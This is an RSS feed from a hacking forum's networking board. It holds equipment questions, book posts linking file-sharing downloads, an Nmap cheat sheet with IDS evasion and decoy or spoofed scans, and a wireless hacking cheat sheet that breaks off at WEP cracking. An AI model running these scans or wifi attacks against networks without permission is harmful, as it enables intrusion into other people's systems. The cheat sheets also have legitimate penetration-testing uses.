<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Sinisterly - Networking]]></title>
		<link>https://sinister.ly/</link>
		<description><![CDATA[Sinisterly - https://sinister.ly]]></description>
		<pubDate>Mon, 17 Aug 2026 12:39:28 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Network switch recommendations]]></title>
			<link>https://sinister.ly/Thread-Network-switch-recommendations</link>
			<pubDate>Sun, 02 Feb 2025 04:29:52 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=282019">5tevos</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Network-switch-recommendations</guid>
			<description><![CDATA[5 bedroom 2 story, needing a switch for 2 AP's and about 60 wireless devices]]></description>
			<content:encoded><![CDATA[5 bedroom 2 story, needing a switch for 2 AP's and about 60 wireless devices]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Networking (Advanced Computer Science)]]></title>
			<link>https://sinister.ly/Thread-Networking-Advanced-Computer-Science</link>
			<pubDate>Mon, 13 Jan 2025 02:41:04 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=192721">ENCRYP73D_GH05T</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Networking-Advanced-Computer-Science</guid>
			<description><![CDATA[<span style="font-size: large;" class="mycode_size"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><img src="https://m.media-amazon.com/images/I/51syrKHHA2L.jpg" loading="lazy" alt="[Image: 51syrKHHA2L.jpg]" class="mycode_img" /><br />
<br />
This book offers a concise yet thorough overview of the fundamental and advanced concepts in networking, covering protocols such as TCP/IP, UDP, and HTTP, and diving into the intricacies of network security with discussions on WPA, WPA2, and WEP. It elucidates the operational mechanisms and importance of networking hardware, including modems, routers, and switches, while also touching on the evolution of internet protocols from IPv4 to IPv6. The text explores the critical role of data transmission technologies and error correction techniques, making it an essential read for anyone looking to understand the backbone technologies that support and secure digital communication in our increasingly interconnected world.<br />
<br />
<hr class="mycode_hr" />
<br />
<a href="https://send.now/bj68lubcskkx" target="_blank" class="mycode_url">https://send.now/bj68lubcskkx</a></span></div></span>]]></description>
			<content:encoded><![CDATA[<span style="font-size: large;" class="mycode_size"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><img src="https://m.media-amazon.com/images/I/51syrKHHA2L.jpg" loading="lazy" alt="[Image: 51syrKHHA2L.jpg]" class="mycode_img" /><br />
<br />
This book offers a concise yet thorough overview of the fundamental and advanced concepts in networking, covering protocols such as TCP/IP, UDP, and HTTP, and diving into the intricacies of network security with discussions on WPA, WPA2, and WEP. It elucidates the operational mechanisms and importance of networking hardware, including modems, routers, and switches, while also touching on the evolution of internet protocols from IPv4 to IPv6. The text explores the critical role of data transmission technologies and error correction techniques, making it an essential read for anyone looking to understand the backbone technologies that support and secure digital communication in our increasingly interconnected world.<br />
<br />
<hr class="mycode_hr" />
<br />
<a href="https://send.now/bj68lubcskkx" target="_blank" class="mycode_url">https://send.now/bj68lubcskkx</a></span></div></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CompTIA Security+ Guide to Network Security Fundamentals, 8th Edition]]></title>
			<link>https://sinister.ly/Thread-CompTIA-Security-Guide-to-Network-Security-Fundamentals-8th-Edition</link>
			<pubDate>Mon, 13 Jan 2025 01:47:58 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=192721">ENCRYP73D_GH05T</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-CompTIA-Security-Guide-to-Network-Security-Fundamentals-8th-Edition</guid>
			<description><![CDATA[<span style="font-size: large;" class="mycode_size"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><img src="https://www.letmeread.net/wp-content/uploads/2024/09/8214000637.webp" loading="lazy" alt="[Image: 8214000637.webp]" class="mycode_img" /><br />
<br />
Reflecting the latest developments and emerging trends from the field, Ciampa’s COMPTIA SECURITY+ GUIDE TO NETWORK SECURITY FUNDAMENTALS, 8th Edition, helps you prepare for professional certification and career success. The text fully maps to the new CompTIA Security+ SY0-701 Certification Exam, providing thorough coverage of all domain objectives. In addition to its comprehensive coverage of the fundamental essentials of network and computer security, the 8th edition includes expanded coverage of information security management, artificial intelligence, compliance, cryptography and cloud and virtualization security. Practical, Hands-On Projects, case activities and online virtual labs help you put what you learn into real-world practice.<br />
<br />
<hr class="mycode_hr" />
<br />
<a href="https://send.cm/3kb1qde7at0c" target="_blank" class="mycode_url">https://send.cm/3kb1qde7at0c</a></span></div></span>]]></description>
			<content:encoded><![CDATA[<span style="font-size: large;" class="mycode_size"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><img src="https://www.letmeread.net/wp-content/uploads/2024/09/8214000637.webp" loading="lazy" alt="[Image: 8214000637.webp]" class="mycode_img" /><br />
<br />
Reflecting the latest developments and emerging trends from the field, Ciampa’s COMPTIA SECURITY+ GUIDE TO NETWORK SECURITY FUNDAMENTALS, 8th Edition, helps you prepare for professional certification and career success. The text fully maps to the new CompTIA Security+ SY0-701 Certification Exam, providing thorough coverage of all domain objectives. In addition to its comprehensive coverage of the fundamental essentials of network and computer security, the 8th edition includes expanded coverage of information security management, artificial intelligence, compliance, cryptography and cloud and virtualization security. Practical, Hands-On Projects, case activities and online virtual labs help you put what you learn into real-world practice.<br />
<br />
<hr class="mycode_hr" />
<br />
<a href="https://send.cm/3kb1qde7at0c" target="_blank" class="mycode_url">https://send.cm/3kb1qde7at0c</a></span></div></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Integration of Cloud Computing and IoT: Trends, Case Studies and Applications]]></title>
			<link>https://sinister.ly/Thread-Integration-of-Cloud-Computing-and-IoT-Trends-Case-Studies-and-Applications</link>
			<pubDate>Mon, 13 Jan 2025 01:43:11 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=192721">ENCRYP73D_GH05T</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Integration-of-Cloud-Computing-and-IoT-Trends-Case-Studies-and-Applications</guid>
			<description><![CDATA[<span style="font-size: large;" class="mycode_size"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><img src="https://m.media-amazon.com/images/I/41ucDBz+HeL.jpg" loading="lazy" alt="[Image: 41ucDBz+HeL.jpg]" class="mycode_img" /><br />
<br />
This book presents cutting-edge research, advanced techniques, and practical applications of the integration of Cloud Computing and Internet of Things (IoT). It explores the practical challenges associated with the development and deployment of Cloud Computing and IoT-based solutions, including security, privacy, and interoperability issues. It includes various case studies, including Smart Cities, Network Security, Healthcare, Smart Urban Sensing, Agriculture, Mining, Railways, and Crime Investigations. It offers in-depth insights, developments, and practical applications, showcasing helpful tools and techniques in IoT and Cloud Computing.<br />
<br />
Key Features<br />
<br />
Provide a comprehensive and accessible resource that covers a broad range of topics on the integration of Cloud Computing and IoT.<br />
Shows how Cloud Computing and IoT are applied to various challenging situations.<br />
Covers in-depth inference of Cloud Computing and IoT to real-world issues, which will assist the industrial sector in growth.<br />
Includes discussion of how robust privacy solutions are important to enable effective integration between Cloud Computing and IoT-based applications.<br />
Offers case studies and real-life examples from various sectors, including healthcare, agriculture, mining, smart transport, and underwater communication.<br />
The book is a comprehensive guide for professionals, researchers, and students interested in the latest Cloud Computing and IoT developments.<br />
<br />
<hr class="mycode_hr" />
<br />
<a href="https://send.cm/54dx6yqpo12v" target="_blank" class="mycode_url">https://send.cm/54dx6yqpo12v</a></span></div></span>]]></description>
			<content:encoded><![CDATA[<span style="font-size: large;" class="mycode_size"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><img src="https://m.media-amazon.com/images/I/41ucDBz+HeL.jpg" loading="lazy" alt="[Image: 41ucDBz+HeL.jpg]" class="mycode_img" /><br />
<br />
This book presents cutting-edge research, advanced techniques, and practical applications of the integration of Cloud Computing and Internet of Things (IoT). It explores the practical challenges associated with the development and deployment of Cloud Computing and IoT-based solutions, including security, privacy, and interoperability issues. It includes various case studies, including Smart Cities, Network Security, Healthcare, Smart Urban Sensing, Agriculture, Mining, Railways, and Crime Investigations. It offers in-depth insights, developments, and practical applications, showcasing helpful tools and techniques in IoT and Cloud Computing.<br />
<br />
Key Features<br />
<br />
Provide a comprehensive and accessible resource that covers a broad range of topics on the integration of Cloud Computing and IoT.<br />
Shows how Cloud Computing and IoT are applied to various challenging situations.<br />
Covers in-depth inference of Cloud Computing and IoT to real-world issues, which will assist the industrial sector in growth.<br />
Includes discussion of how robust privacy solutions are important to enable effective integration between Cloud Computing and IoT-based applications.<br />
Offers case studies and real-life examples from various sectors, including healthcare, agriculture, mining, smart transport, and underwater communication.<br />
The book is a comprehensive guide for professionals, researchers, and students interested in the latest Cloud Computing and IoT developments.<br />
<br />
<hr class="mycode_hr" />
<br />
<a href="https://send.cm/54dx6yqpo12v" target="_blank" class="mycode_url">https://send.cm/54dx6yqpo12v</a></span></div></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Shadowsocks]]></title>
			<link>https://sinister.ly/Thread-Shadowsocks</link>
			<pubDate>Sun, 29 Dec 2024 16:37:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=280212">easyars</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Shadowsocks</guid>
			<description><![CDATA[Hello. For those who arent located in the needed country, would you say free Shadowsocks are good choice compared to residential paid proxies? The reason is that you can share the wifi to your iphone with shadowsocks]]></description>
			<content:encoded><![CDATA[Hello. For those who arent located in the needed country, would you say free Shadowsocks are good choice compared to residential paid proxies? The reason is that you can share the wifi to your iphone with shadowsocks]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[which the best?]]></title>
			<link>https://sinister.ly/Thread-which-the-best</link>
			<pubDate>Wed, 25 Dec 2024 13:37:18 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=280754">gerefaktor</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-which-the-best</guid>
			<description><![CDATA[recommandate the good place for work&amp;]]></description>
			<content:encoded><![CDATA[recommandate the good place for work&amp;]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Nmap Cheat Sheet]]></title>
			<link>https://sinister.ly/Thread-Nmap-Cheat-Sheet</link>
			<pubDate>Mon, 04 Nov 2024 02:28:32 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=85351">DoXeD</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Nmap-Cheat-Sheet</guid>
			<description><![CDATA[A Cheat Sheet For Using Nmap Network map<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>Nmap Cheat Sheet
Target Specification
Switch	Example	Description
nmap 192.168.1.1	Scan a single IP
nmap 192.168.1.1 192.168.2.1	Scan specific IPs
nmap 192.168.1.1-254	Scan a range
nmap scanme.nmap.org	Scan a domain
nmap 192.168.1.0/24	Scan using CIDR notation
-iL	nmap -iL targets.txt	Scan targets from a file
-iR	nmap -iR 100	Scan 100 random hosts
--exclude	nmap --exclude 192.168.1.1	Exclude listed hosts
Scan Techniques
Switch	Example	Description
-sS	nmap 192.168.1.1 -sS	TCP SYN port scan (Default)
-sT	nmap 192.168.1.1 -sT	TCP connect port scan
(Default without root privilege)
-sU	nmap 192.168.1.1 -sU	UDP port scan
-sA	nmap 192.168.1.1 -sA	TCP ACK port scan
-sW	nmap 192.168.1.1 -sW	TCP Window port scan
-sM	nmap 192.168.1.1 -sM	TCP Maimon port scan
Host Discovery
Switch	Example	Description
-sL	nmap 192.168.1.1-3 -sL	No Scan. List targets only
-sn	nmap 192.168.1.1/24 -sn	Disable port scanning. Host discovery only.
-Pn	nmap 192.168.1.1-5 -Pn	Disable host discovery. Port scan only.
-PA	nmap 192.168.1.1-5 -PA22-25,80	TCP ACK discovery on port x.
Port 80 by default		
-PU	nmap 192.168.1.1-5 -PU53	UDP discovery on port x. Port 40125 by default
-PR	nmap 192.168.1.1-1/24 -PR	ARP discovery on local network
-n	nmap 192.168.1.1 -n	Never do DNS resolution
Port Specification
Switch	Example	Description
-p	nmap 192.168.1.1 -p 21	Port scan for port x
-p	nmap 192.168.1.1 -p 21-100	Port range
-p	nmap 192.168.1.1 -p U:53,T:21-25,80	Port scan multiple TCP and UDP ports
-p-	nmap 192.168.1.1 -p-	Port scan all ports
-p	nmap 192.168.1.1 -p http,https	Port scan from service name
-F	nmap 192.168.1.1 -F	Fast port scan (100 ports)
--top-ports	nmap 192.168.1.1 --top-ports 2000	Port scan the top x ports
-p-65535	nmap 192.168.1.1 -p-65535	Leaving off initial port in range
makes the scan start at port 1
-p0-	nmap 192.168.1.1 -p0-	Leaving off end port in range makes the scan go through to port 65535
Service and Version Detection
Switch	Example	Description
-sV	nmap 192.168.1.1 -sV	Attempts to determine the version of the service running on port
-sV --version-intensity	nmap 192.168.1.1 -sV --version-intensity 8	Intensity level 0 to 9. Higher number increases possibility of correctness
-sV --version-light	nmap 192.168.1.1 -sV --version-light	Enable light mode. Lower possibility of correctness. Faster
-sV --version-all	nmap 192.168.1.1 -sV --version-all	Enable intensity level 9. Higher possibility of correctness. Slower
-A	nmap 192.168.1.1 -A	Enables OS detection, version detection, script scanning, and traceroute
OS Detection
Switch	Example	Description
-O	nmap 192.168.1.1 -O	Remote OS detection using TCP/IP
stack fingerprinting
-O --osscan-limit	nmap 192.168.1.1 -O --osscan-limit	If at least one open and one closed
TCP port are not found it will not try
OS detection against host
-O --osscan-guess	nmap 192.168.1.1 -O --osscan-guess	Makes Nmap guess more aggressively
-O --max-os-tries	nmap 192.168.1.1 -O --max-os-tries 1	Set the maximum number x of OS
detection tries against a target
-A	nmap 192.168.1.1 -A	Enables OS detection, version detection, script scanning, and traceroute
Timing and Performance
Switch	Example	Description
-T0	nmap 192.168.1.1 -T0	Paranoid (0) Intrusion Detection
System evasion
-T1	nmap 192.168.1.1 -T1	Sneaky (1) Intrusion Detection System
evasion
-T2	nmap 192.168.1.1 -T2	Polite (2) slows down the scan to use
less bandwidth and use less target
machine resources
-T3	nmap 192.168.1.1 -T3	Normal (3) which is default speed
-T4	nmap 192.168.1.1 -T4	Aggressive (4) speeds scans; assumes
you are on a reasonably fast and
reliable network
-T5	nmap 192.168.1.1 -T5	Insane (5) speeds scan; assumes you
are on an extraordinarily fast network
Switch	Example input	Description
--host-timeout &lt;time&gt;	1s; 4m; 2h	Give up on target after this long
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout &lt;time&gt;	1s; 4m; 2h	Specifies probe round trip time
--min-hostgroup/max-hostgroup &lt;size&lt;size&gt;	50; 1024	Parallel host scan group
sizes
--min-parallelism/max-parallelism &lt;numprobes&gt;	10; 1	Probe parallelization
--scan-delay/--max-scan-delay &lt;time&gt;	20ms; 2s; 4m; 5h	Adjust delay between probes
--max-retries &lt;tries&gt;	3	Specify the maximum number
of port scan probe retransmissions
--min-rate &lt;number&gt;	100	Send packets no slower than &lt;numberr&gt; per second
--max-rate &lt;number&gt;	100	Send packets no faster than &lt;number&gt; per second
NSE Scripts
Switch	Example	Description
-sC	nmap 192.168.1.1 -sC	Scan with default NSE scripts. Considered useful for discovery and safe
--script default	nmap 192.168.1.1 --script default	Scan with default NSE scripts. Considered useful for discovery and safe
--script	nmap 192.168.1.1 --script=banner	Scan with a single script. Example banner
--script	nmap 192.168.1.1 --script=http*	Scan with a wildcard. Example http
--script	nmap 192.168.1.1 --script=http,banner	Scan with two scripts. Example http and banner
--script	nmap 192.168.1.1 --script "not intrusive"	Scan default, but remove intrusive scripts
--script-args	nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1	NSE script with arguments
Useful NSE Script Examples

Command	Description
nmap -Pn --script=http-sitemap-generator scanme.nmap.org	http site map generator
nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000	Fast search for random web servers
nmap -Pn --script=dns-brute domain.com	Brute forces DNS hostnames guessing subdomains
nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1	Safe SMB scripts to run
nmap --script whois* domain.com	Whois query
nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org	Detect cross site scripting vulnerabilities
nmap -p80 --script http-sql-injection scanme.nmap.org	Check for SQL injections
Firewall / IDS Evasion and Spoofing
Switch	Example	Description
-f	nmap 192.168.1.1 -f	Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters
--mtu	nmap 192.168.1.1 --mtu 32	Set your own offset size
-D	nmap -D 192.168.1.101,192.168.1.102,
192.168.1.103,192.168.1.23 192.168.1.1	
Send scans from spoofed IPs		
-D	nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip	Above example explained
-S	nmap -S www.microsoft.com www.facebook.com	Scan Facebook from Microsoft (-e eth0 -Pn may be required)
-g	nmap -g 53 192.168.1.1	Use given source port number
--proxies	nmap --proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1	Relay connections through HTTP/SOCKS4 proxies
--data-length	nmap --data-length 200 192.168.1.1	Appends random data to sent packets
Example IDS Evasion command

nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1
Output
Switch	Example	Description
-oN	nmap 192.168.1.1 -oN normal.file	Normal output to the file normal.file
-oX	nmap 192.168.1.1 -oX xml.file	XML output to the file xml.file
-oG	nmap 192.168.1.1 -oG grep.file	Grepable output to the file grep.file
-oA	nmap 192.168.1.1 -oA results	Output in the three major formats at once
-oG -	nmap 192.168.1.1 -oG -	Grepable output to screen. -oN -, -oX - also usable
--append-output	nmap 192.168.1.1 -oN file.file --append-output	Append a scan to a previous scan file
-v	nmap 192.168.1.1 -v	Increase the verbosity level (use -vv or more for greater effect)
-d	nmap 192.168.1.1 -d	Increase debugging level (use -dd or more for greater effect)
--reason	nmap 192.168.1.1 --reason	Display the reason a port is in a particular state, same output as -vv
--open	nmap 192.168.1.1 --open	Only show open (or possibly open) ports
--packet-trace	nmap 192.168.1.1 -T4 --packet-trace	Show all packets sent and received
--iflist	nmap --iflist	Shows the host interfaces and routes
--resume	nmap --resume results.file	Resume a scan
Helpful Nmap Output examples

Command	Description
nmap -p80 -sV -oG - --open 192.168.1.1/24	grep open
nmap -iR 10 -n -oX out.xml	grep "Nmap"
nmap -iR 10 -n -oX out2.xml	grep "Nmap"
ndiff scanl.xml scan2.xml	Compare output from nmap using the ndif
xsltproc nmap.xml -o nmap.html	Convert nmap xml files to html files
grep " open " results.nmap	sed -r 's/ +/ /g'
Miscellaneous Options
Switch	Example	Description
-6	nmap -6 2607:f0d0:1002:51::4	Enable IPv6 scanning
-h	nmap -h	nmap help screen
Other Useful Nmap Commands
Command	Description
nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn	Discovery only on ports x, no port scan
nmap 192.168.1.1-1/24 -PR -sn -vv	Arp discovery only on local network, no port scan
nmap -iR 10 -sn -traceroute	Traceroute to random targets, no port scan
nmap 192.168.1.1-50 -sL --dns-server 192.168.1.1	Query the Internal DNS for hosts, list targets only</code></div></div>]]></description>
			<content:encoded><![CDATA[A Cheat Sheet For Using Nmap Network map<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>Nmap Cheat Sheet
Target Specification
Switch	Example	Description
nmap 192.168.1.1	Scan a single IP
nmap 192.168.1.1 192.168.2.1	Scan specific IPs
nmap 192.168.1.1-254	Scan a range
nmap scanme.nmap.org	Scan a domain
nmap 192.168.1.0/24	Scan using CIDR notation
-iL	nmap -iL targets.txt	Scan targets from a file
-iR	nmap -iR 100	Scan 100 random hosts
--exclude	nmap --exclude 192.168.1.1	Exclude listed hosts
Scan Techniques
Switch	Example	Description
-sS	nmap 192.168.1.1 -sS	TCP SYN port scan (Default)
-sT	nmap 192.168.1.1 -sT	TCP connect port scan
(Default without root privilege)
-sU	nmap 192.168.1.1 -sU	UDP port scan
-sA	nmap 192.168.1.1 -sA	TCP ACK port scan
-sW	nmap 192.168.1.1 -sW	TCP Window port scan
-sM	nmap 192.168.1.1 -sM	TCP Maimon port scan
Host Discovery
Switch	Example	Description
-sL	nmap 192.168.1.1-3 -sL	No Scan. List targets only
-sn	nmap 192.168.1.1/24 -sn	Disable port scanning. Host discovery only.
-Pn	nmap 192.168.1.1-5 -Pn	Disable host discovery. Port scan only.
-PA	nmap 192.168.1.1-5 -PA22-25,80	TCP ACK discovery on port x.
Port 80 by default		
-PU	nmap 192.168.1.1-5 -PU53	UDP discovery on port x. Port 40125 by default
-PR	nmap 192.168.1.1-1/24 -PR	ARP discovery on local network
-n	nmap 192.168.1.1 -n	Never do DNS resolution
Port Specification
Switch	Example	Description
-p	nmap 192.168.1.1 -p 21	Port scan for port x
-p	nmap 192.168.1.1 -p 21-100	Port range
-p	nmap 192.168.1.1 -p U:53,T:21-25,80	Port scan multiple TCP and UDP ports
-p-	nmap 192.168.1.1 -p-	Port scan all ports
-p	nmap 192.168.1.1 -p http,https	Port scan from service name
-F	nmap 192.168.1.1 -F	Fast port scan (100 ports)
--top-ports	nmap 192.168.1.1 --top-ports 2000	Port scan the top x ports
-p-65535	nmap 192.168.1.1 -p-65535	Leaving off initial port in range
makes the scan start at port 1
-p0-	nmap 192.168.1.1 -p0-	Leaving off end port in range makes the scan go through to port 65535
Service and Version Detection
Switch	Example	Description
-sV	nmap 192.168.1.1 -sV	Attempts to determine the version of the service running on port
-sV --version-intensity	nmap 192.168.1.1 -sV --version-intensity 8	Intensity level 0 to 9. Higher number increases possibility of correctness
-sV --version-light	nmap 192.168.1.1 -sV --version-light	Enable light mode. Lower possibility of correctness. Faster
-sV --version-all	nmap 192.168.1.1 -sV --version-all	Enable intensity level 9. Higher possibility of correctness. Slower
-A	nmap 192.168.1.1 -A	Enables OS detection, version detection, script scanning, and traceroute
OS Detection
Switch	Example	Description
-O	nmap 192.168.1.1 -O	Remote OS detection using TCP/IP
stack fingerprinting
-O --osscan-limit	nmap 192.168.1.1 -O --osscan-limit	If at least one open and one closed
TCP port are not found it will not try
OS detection against host
-O --osscan-guess	nmap 192.168.1.1 -O --osscan-guess	Makes Nmap guess more aggressively
-O --max-os-tries	nmap 192.168.1.1 -O --max-os-tries 1	Set the maximum number x of OS
detection tries against a target
-A	nmap 192.168.1.1 -A	Enables OS detection, version detection, script scanning, and traceroute
Timing and Performance
Switch	Example	Description
-T0	nmap 192.168.1.1 -T0	Paranoid (0) Intrusion Detection
System evasion
-T1	nmap 192.168.1.1 -T1	Sneaky (1) Intrusion Detection System
evasion
-T2	nmap 192.168.1.1 -T2	Polite (2) slows down the scan to use
less bandwidth and use less target
machine resources
-T3	nmap 192.168.1.1 -T3	Normal (3) which is default speed
-T4	nmap 192.168.1.1 -T4	Aggressive (4) speeds scans; assumes
you are on a reasonably fast and
reliable network
-T5	nmap 192.168.1.1 -T5	Insane (5) speeds scan; assumes you
are on an extraordinarily fast network
Switch	Example input	Description
--host-timeout &lt;time&gt;	1s; 4m; 2h	Give up on target after this long
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout &lt;time&gt;	1s; 4m; 2h	Specifies probe round trip time
--min-hostgroup/max-hostgroup &lt;size&lt;size&gt;	50; 1024	Parallel host scan group
sizes
--min-parallelism/max-parallelism &lt;numprobes&gt;	10; 1	Probe parallelization
--scan-delay/--max-scan-delay &lt;time&gt;	20ms; 2s; 4m; 5h	Adjust delay between probes
--max-retries &lt;tries&gt;	3	Specify the maximum number
of port scan probe retransmissions
--min-rate &lt;number&gt;	100	Send packets no slower than &lt;numberr&gt; per second
--max-rate &lt;number&gt;	100	Send packets no faster than &lt;number&gt; per second
NSE Scripts
Switch	Example	Description
-sC	nmap 192.168.1.1 -sC	Scan with default NSE scripts. Considered useful for discovery and safe
--script default	nmap 192.168.1.1 --script default	Scan with default NSE scripts. Considered useful for discovery and safe
--script	nmap 192.168.1.1 --script=banner	Scan with a single script. Example banner
--script	nmap 192.168.1.1 --script=http*	Scan with a wildcard. Example http
--script	nmap 192.168.1.1 --script=http,banner	Scan with two scripts. Example http and banner
--script	nmap 192.168.1.1 --script "not intrusive"	Scan default, but remove intrusive scripts
--script-args	nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1	NSE script with arguments
Useful NSE Script Examples

Command	Description
nmap -Pn --script=http-sitemap-generator scanme.nmap.org	http site map generator
nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000	Fast search for random web servers
nmap -Pn --script=dns-brute domain.com	Brute forces DNS hostnames guessing subdomains
nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1	Safe SMB scripts to run
nmap --script whois* domain.com	Whois query
nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org	Detect cross site scripting vulnerabilities
nmap -p80 --script http-sql-injection scanme.nmap.org	Check for SQL injections
Firewall / IDS Evasion and Spoofing
Switch	Example	Description
-f	nmap 192.168.1.1 -f	Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters
--mtu	nmap 192.168.1.1 --mtu 32	Set your own offset size
-D	nmap -D 192.168.1.101,192.168.1.102,
192.168.1.103,192.168.1.23 192.168.1.1	
Send scans from spoofed IPs		
-D	nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip	Above example explained
-S	nmap -S www.microsoft.com www.facebook.com	Scan Facebook from Microsoft (-e eth0 -Pn may be required)
-g	nmap -g 53 192.168.1.1	Use given source port number
--proxies	nmap --proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1	Relay connections through HTTP/SOCKS4 proxies
--data-length	nmap --data-length 200 192.168.1.1	Appends random data to sent packets
Example IDS Evasion command

nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1
Output
Switch	Example	Description
-oN	nmap 192.168.1.1 -oN normal.file	Normal output to the file normal.file
-oX	nmap 192.168.1.1 -oX xml.file	XML output to the file xml.file
-oG	nmap 192.168.1.1 -oG grep.file	Grepable output to the file grep.file
-oA	nmap 192.168.1.1 -oA results	Output in the three major formats at once
-oG -	nmap 192.168.1.1 -oG -	Grepable output to screen. -oN -, -oX - also usable
--append-output	nmap 192.168.1.1 -oN file.file --append-output	Append a scan to a previous scan file
-v	nmap 192.168.1.1 -v	Increase the verbosity level (use -vv or more for greater effect)
-d	nmap 192.168.1.1 -d	Increase debugging level (use -dd or more for greater effect)
--reason	nmap 192.168.1.1 --reason	Display the reason a port is in a particular state, same output as -vv
--open	nmap 192.168.1.1 --open	Only show open (or possibly open) ports
--packet-trace	nmap 192.168.1.1 -T4 --packet-trace	Show all packets sent and received
--iflist	nmap --iflist	Shows the host interfaces and routes
--resume	nmap --resume results.file	Resume a scan
Helpful Nmap Output examples

Command	Description
nmap -p80 -sV -oG - --open 192.168.1.1/24	grep open
nmap -iR 10 -n -oX out.xml	grep "Nmap"
nmap -iR 10 -n -oX out2.xml	grep "Nmap"
ndiff scanl.xml scan2.xml	Compare output from nmap using the ndif
xsltproc nmap.xml -o nmap.html	Convert nmap xml files to html files
grep " open " results.nmap	sed -r 's/ +/ /g'
Miscellaneous Options
Switch	Example	Description
-6	nmap -6 2607:f0d0:1002:51::4	Enable IPv6 scanning
-h	nmap -h	nmap help screen
Other Useful Nmap Commands
Command	Description
nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn	Discovery only on ports x, no port scan
nmap 192.168.1.1-1/24 -PR -sn -vv	Arp discovery only on local network, no port scan
nmap -iR 10 -sn -traceroute	Traceroute to random targets, no port scan
nmap 192.168.1.1-50 -sL --dns-server 192.168.1.1	Query the Internal DNS for hosts, list targets only</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Wireless Penetration Testing Cheat Sheet]]></title>
			<link>https://sinister.ly/Thread-Tutorial-Wireless-Penetration-Testing-Cheat-Sheet--215330</link>
			<pubDate>Mon, 04 Nov 2024 02:26:05 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=85351">DoXeD</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Tutorial-Wireless-Penetration-Testing-Cheat-Sheet--215330</guid>
			<description><![CDATA[Here is a sheet I made for hacking wifi routers / connections around you you can also use <a href="https://github.com/RUB-NDS/PRET" target="_blank" class="mycode_url">PRET Printer Remote Exploitation Tool Kit</a><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>### Wireless Penetration Testing Cheat Sheet
## WIRELESS ANTENNA
# Open the Monitor Mode

ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up

# Increase Wi-Fi TX Power
iw reg set B0
iwconfig wlan0 txpower &lt;NmW|NdBm|off|auto&gt;
# txpower is 30 (generally)
# txpower is depends your country, please googling
iwconfig

# Change WiFi Channel
iwconfig wlan0 channel &lt;SetChannel(1-14)&gt;

## WEP CRACKING
# Method 1 : Fake Authentication Attack

airmon-ng start wlan0
